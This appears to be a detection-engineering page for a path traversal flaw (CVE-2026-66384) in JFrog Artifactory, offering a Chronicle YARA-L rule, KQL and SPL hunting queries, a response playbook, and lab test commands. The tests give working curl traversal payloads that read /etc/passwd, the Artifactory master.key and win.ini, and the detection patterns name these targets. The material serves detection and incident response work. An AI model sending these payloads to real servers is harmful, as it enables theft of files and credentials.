CVE-2026-66384 Google Chronicle · YARA-L

Detect CVE-2026-66384: JFrog Artifactory Path Traversal (CWE-22) Exploitation in Google Chronicle

Detects exploitation attempts against CVE-2026-66384, an improper limitation of a pathname to a restricted directory (path traversal, CWE-22) vulnerability in JFrog Artifactory. This CISA KEV-listed flaw allows an attacker to supply crafted pathnames — typically via repository artifact download/upload APIs or the UI — to escape the intended repository storage root and read or write arbitrary files on the Artifactory host (e.g. Artifactory config, database credentials, master.key, or OS files). Detection focuses on traversal sequences (../, encoded variants, absolute paths, null bytes) in HTTP request paths and query parameters directed at Artifactory endpoints (/artifactory/api/, /ui/, /access/), anomalous access to files outside repository roots, and requests targeting sensitive system paths.

MITRE ATT&CK

Tactic
Initial Access Collection Discovery

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2026_66384_artifactory_path_traversal {
  meta:
    author = "argus"
    description = "Detects path traversal exploitation against JFrog Artifactory (CVE-2026-66384)"
    severity = "HIGH"
    cve = "CVE-2026-66384"
  events:
    $e.metadata.event_type = "NETWORK_HTTP"
    (
      re.regex($e.network.http.referral_url, `(?i)artifactory`) or
      re.regex($e.target.url, `(?i)(artifactory|/access|/ui/api)`)
    )
    re.regex($e.target.url, `(?i)(\.\./|\.\.\\|\.\.%2f|%2e%2e%2f|%2e%2e/|%00|/etc/passwd|master\.key)`)
    $ip = $e.principal.ip
  match:
    $ip over 10m
  condition:
    $e
}
high severity medium confidence

YARA-L rule detecting traversal tokens in HTTP URLs targeting Artifactory endpoints.

Data Sources

Chronicle NETWORK_HTTP UDMProxy telemetryWeb server telemetry

Required Tables

udm.network.http

False Positives & Tuning

  • Legitimate artifact paths with dot-dot version strings
  • Authorized security assessment traffic
  • Health/monitoring probes with encoded URLs

Other platforms for CVE-2026-66384

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic path traversal to /etc/passwd via Artifactory download API

    Expected signal: Web/proxy and Artifactory access logs record a request to an /artifactory/ path containing %2f-encoded dot-dot sequences and 'etc/passwd'.

  2. Test 2Double-encoded traversal targeting master.key

    Expected signal: Access logs record a request with %252f (double-encoded) traversal sequences referencing master.key under an Artifactory API path.

  3. Test 3Backslash traversal probe against UI API endpoint (Windows host)

    Expected signal: IIS/reverse-proxy and Artifactory logs record a /ui/api request whose query contains backslash dot-dot sequences and a Windows path.

Last updated: 2026-08-28 Research depth: standard
References (5)

Response Playbook

Triage

  1. Confirm the target host is a JFrog Artifactory instance and identify its running version; compare against the JFrog security advisory for CVE-2026-66384 to determine if it is a vulnerable build.
  2. Extract the full decoded request path and query from the alert; determine whether the traversal targeted a sensitive file (e.g. master.key, access/etc/security.json, artifactory.config, /etc/passwd, DB connection files).
  3. Correlate the source IP: check whether it is internal CI/CD infrastructure, a known scanner, or an unexpected external address, and enumerate all other requests from that IP in the surrounding time window.
  4. Determine the HTTP response status/size for the suspicious requests — a 200 with a non-trivial body indicates a successful arbitrary file read.

Containment

  1. Block the offending source IP(s) at the WAF/reverse proxy and, if external exposure is not required, remove Artifactory from public internet access.
  2. Apply the JFrog fixed release for CVE-2026-66384 (upgrade Artifactory to the patched version per the JFrog self-managed releases advisory) or apply the vendor mitigation/workaround if immediate patching is not possible.
  3. If arbitrary file read is confirmed, rotate exposed secrets: Artifactory master.key/join key, database credentials, API keys, and any tokens stored in the config.

Evidence Collection

  1. Preserve reverse proxy, load balancer, and Artifactory access/request logs (access.log, request.log) covering the exploitation window with full URIs.
  2. Capture the Artifactory system state: config files, master.key modification timestamps, and any newly created or modified files in the storage/data directories that could indicate arbitrary write.

Escalation Criteria

  • !Escalate to IR lead if any request returned a 200/206 for a path resolving outside the repository root (confirmed arbitrary file read) or if master.key/credentials were accessed.
  • !Escalate to incident response if evidence of arbitrary file write, deployed webshell, or post-exploitation lateral movement from the Artifactory host is observed.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Artifactory access.log / request.log entries containing traversal sequences and the resolved target path
  • >Reverse proxy/WAF logs showing raw and decoded request URIs
  • >Access or modification timestamps on master.key, security.json, and config files outside normal repository directories
  • >New or altered files in Artifactory storage directories indicating arbitrary write

Tuning Guidance

Baseline the legitimate artifact paths for your repositories — some package ecosystems embed dot-dot sequences in version coordinates, so refine the regex to require encoded traversal (%2e%2e, %2f) or references to sensitive filenames rather than bare '../' if you see high volumes of benign matches. Whitelist known CI/CD source IPs and authorized scanner ranges. Prioritize alerts where the HTTP response was 2xx/3xx with a meaningful body size, as these indicate successful file reads rather than blocked attempts.

Hunting Queries

Hunt across web/proxy logs for any Artifactory request containing traversal tokens or sensitive-file references, surfacing successful (2xx) reads by source IP.

Hunting — KQL
kql 
W3CIISLog | where csUriStem contains "artifactory" | where csUriStem matches regex @'(\.\./|%2e%2e%2f|%00)' or csUriQuery matches regex @'(\.\./|%2e%2e%2f|master\.key|/etc/passwd)' | summarize count(), make_set(csUriStem,20) by cIP, scStatus | order by count_ desc
Hunting — SPL
spl 
index=web sourcetype IN ("jfrog:artifactory:access","nginx:plus:access") uri="*artifactory*" | regex uri="(?i)(\.\./|%2e%2e%2f|%00|master\.key|/etc/passwd)" | stats count values(status) by src_ip uri | sort - count

Atomic Red Team Tests

Test 1 Basic path traversal to /etc/passwd via Artifactory download API
linux

Sends an encoded directory traversal request to the Artifactory artifact download endpoint attempting to read /etc/passwd (lab-only, non-destructive read attempt).

Command

bash 
curl -sk 'https://artifactory.lab.local/artifactory/example-repo/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' -H 'Authorization: Bearer LAB_TOKEN' -o /tmp/cve_2026_66384_test.out; echo "status=$?"

Cleanup

bash 
rm -f /tmp/cve_2026_66384_test.out

Expected Telemetry

Web/proxy and Artifactory access logs record a request to an /artifactory/ path containing %2f-encoded dot-dot sequences and 'etc/passwd'.

Expected Detection

The kql/spl rules match on the encoded traversal tokens targeting an Artifactory path and raise an alert keyed on the source IP.

Test 2 Double-encoded traversal targeting master.key
linux

Sends a double-URL-encoded traversal payload aimed at the Artifactory master.key to simulate a stealthier read attempt.

Command

bash 
curl -sk 'https://artifactory.lab.local/artifactory/api/repositories/..%252f..%252f..%252fvar%252fopt%252fjfrog%252fartifactory%252fetc%252fsecurity%252fmaster.key' -o /tmp/cve_2026_66384_mk.out; echo "status=$?"

Cleanup

bash 
rm -f /tmp/cve_2026_66384_mk.out

Expected Telemetry

Access logs record a request with %252f (double-encoded) traversal sequences referencing master.key under an Artifactory API path.

Expected Detection

Rules matching %2e%2e/%252f patterns and the 'master.key' string flag the request; tuning guidance recommends prioritizing this sensitive-file match.

Test 3 Backslash traversal probe against UI API endpoint (Windows host)
windows

Sends a backslash-based traversal probe to an Artifactory UI API endpoint on a Windows-hosted instance to read a Windows system file.

Command

powershell 
curl.exe -sk "https://artifactory.lab.local/ui/api/v1/download?path=..\..\..\..\Windows\win.ini" -o %TEMP%\cve_2026_66384_win.out & echo status=%errorlevel%

Cleanup

powershell 
del /q %TEMP%\cve_2026_66384_win.out

Expected Telemetry

IIS/reverse-proxy and Artifactory logs record a /ui/api request whose query contains backslash dot-dot sequences and a Windows path.

Expected Detection

The kql and elastic_eql rules match the backslash traversal tokens ('..\\') in the query targeting the Artifactory UI API endpoint.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0009CollectionTA0007Discovery

Related Techniques

T1190Exploit Public-Facing ApplicationT1083File and Directory DiscoveryT1552.001Credentials In Files

Same Tactic: Initial Access

Popular Detections